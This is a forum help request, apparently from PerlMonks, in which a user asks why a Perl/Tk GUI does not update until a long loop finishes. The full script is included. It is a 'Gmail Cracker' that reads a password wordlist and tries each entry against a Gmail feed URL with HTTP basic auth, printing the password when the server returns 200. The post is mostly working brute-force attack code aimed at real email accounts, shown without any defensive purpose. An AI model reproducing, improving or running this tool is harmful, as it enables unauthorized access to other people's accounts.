blocking call maybe??

[amboxer21]

I wrote a UI for a gmail bruteforcer and I am having an issue. I am trying to push the output to the scrolled window widget as soon as the crackn button is pushed but the info will not push until the sub function finishes. Maybe because the calls are blocking?? https://github.com/amboxer21/GmailCracker/blob/master/GmailCrackerUI.pl

#!/usr/bin/perl

use strict;
use warnings;

use Tk;
use WWW::Curl::Easy;

require Tk::Table;
require Tk::FileSelect;

$| = 1;

my($UserName, $Password, $Site, $CurlReturn, $File, $Pane,
    $ResponseCode, $Curl, $Path, $UserEntryText );

my(@Curl);

my $MainWindow = MainWindow->new;
    $MainWindow->title( 'Gmail Cracker' );
    $MainWindow->geometry( '600x400' );

my $Table = $MainWindow->Table( -rows => 10,
                -columns => 10,
                -scrollbars => 0,
                );

######################################################################
+##
##                       PASSWORD LIST FUNCTIONS                      
+##
######################################################################
+##

my $ListLabel = $Table->Label( -text => 'LIST: ' );      
    $Table->put(1,1, $ListLabel);

my $ListEntry = $Table->Entry( -background => 'WHITE', -width => '40',
+ );
    $Table->put(1,2, $ListEntry);

my $ListButton = $Table->Button( -text => "Get List",
        -command => \&choose_dir );
    $Table->put(1,9, $ListButton);

######################################################################
+##
##                       USERNAME FUNCTIONS                           
+##
######################################################################
+##

my $UserLabel = $Table->Label( -text => 'USER NAME: ' );
        $Table->put(3,1, $UserLabel);

my $UserEntry = $Table->Entry( -background => 'WHITE', -width => '50',
+ );
        $Table->put(3,2, $UserEntry);

## -------------------------------------------------------------------
+---
my $ConnectButton = $Table->Button( -text => "Start Crackn", -command 
+=> \&Crackn );
        $Table->put(3,9, $ConnectButton);

## SCROLLED WIDGET ---------------------------------------------------
+---
    $Pane = $MainWindow->Scrolled( "Text", Name => 'Display',
                                   -scrollbars => 'e',
                                   -relief => "sunken",
                                   -foreground => 'blue',
                                   -background => "WHITE" )->pack( -si
+de => 'bottom', -anchor => 's');

## PACK TABLE AS SEPERATE CALL. CANNOT PACK DIRECTLT WITH WIDGET OR IT
+ WILL FAIL.
$Table->pack();


sub waiting {

    $Pane->insert("end", "Cracking. Please wait.");

}

sub choose_dir {

my $FileSelector = $MainWindow->FileSelect( -directory => '/' );

    $File = $FileSelector->Show;

    ## THIS LINE AND THE ONE UNDER SETS THE FILE NAME EXCLUDING THE PA
+TH TO THE $PATHFILE VARIABLE
        if( $File =~ m/\/[a-zA-Z0-9].*\/+/i ) {
 
                        my $PathFile = $';

        ## CHECKS TO SEE IF FILE ENDS WITH .LIST EXTENSION.
                if( $PathFile =~ m/[a-zA-Z0-9]*\.list/i ) {

                        #print $PathFile;

            $ListEntry->insert("end", "$File");

            $Pane->insert("end", "Dictionary Path => $File\n");
            

                }

            else {

                &warning;

                print "\nNot a list file.\n";

            }


        }    

};

sub Crackn { 

$UserName = $UserEntry->get;

$Pane->insert("end", "Gmail User Name => $UserName\n");

open(FILE, '<', $File) or die "Cannot open $File: $!\n";

        $Site = 'https://mail.google.com/mail/feed/atom';

        $Curl = WWW::Curl::Easy->new;

while(<FILE>) {

        $Curl->setopt(CURLOPT_TIMEOUT, 20);

        $Curl->setopt(CURLOPT_CONNECTTIMEOUT, 15);

        $Curl->setopt(CURLOPT_VERBOSE, 1);

        #$Curl->setopt(CURLOPT_HEADER, 1);

        $Curl->setopt(CURLOPT_USERPWD, "$UserName:$_");

        $Curl->setopt(CURLOPT_URL, $Site);
 
        $CurlReturn = $Curl->perform;

        $ResponseCode = $Curl->getinfo(CURLINFO_HTTP_CODE);

        if( $ResponseCode == 200 ) {

        $Pane->insert("end", "PASSWORD WAS => $_\n");

                print "\n\nPASSWORD WAS $_\n\n";

        select(undef, undef, undef, .1);

                return;

        }

                else {

                        print "\n\nPASSWORD WAS NOT $_\n\n";

                }

 }

}

sub warning {
my $Tlw = $MainWindow->Toplevel;
    $Tlw->geometry("260x100+50+50");
    $Tlw->title('Warning');

my $Label = $Tlw->Label( -text => "This is not a .list file. Please \n
+chose a file with the .list extension." )->pack( -side => 'top', 
        -pady => '15' );

    $Tlw->Button( -text => "OK",
            -command => sub { $Tlw->withdraw }, )->pack( -side => 'bot
+tom', 
                    -anchor => 'se', 
                    -padx => '5', 
                    -pady => '5' );
};

MainLoop;

Update Delete please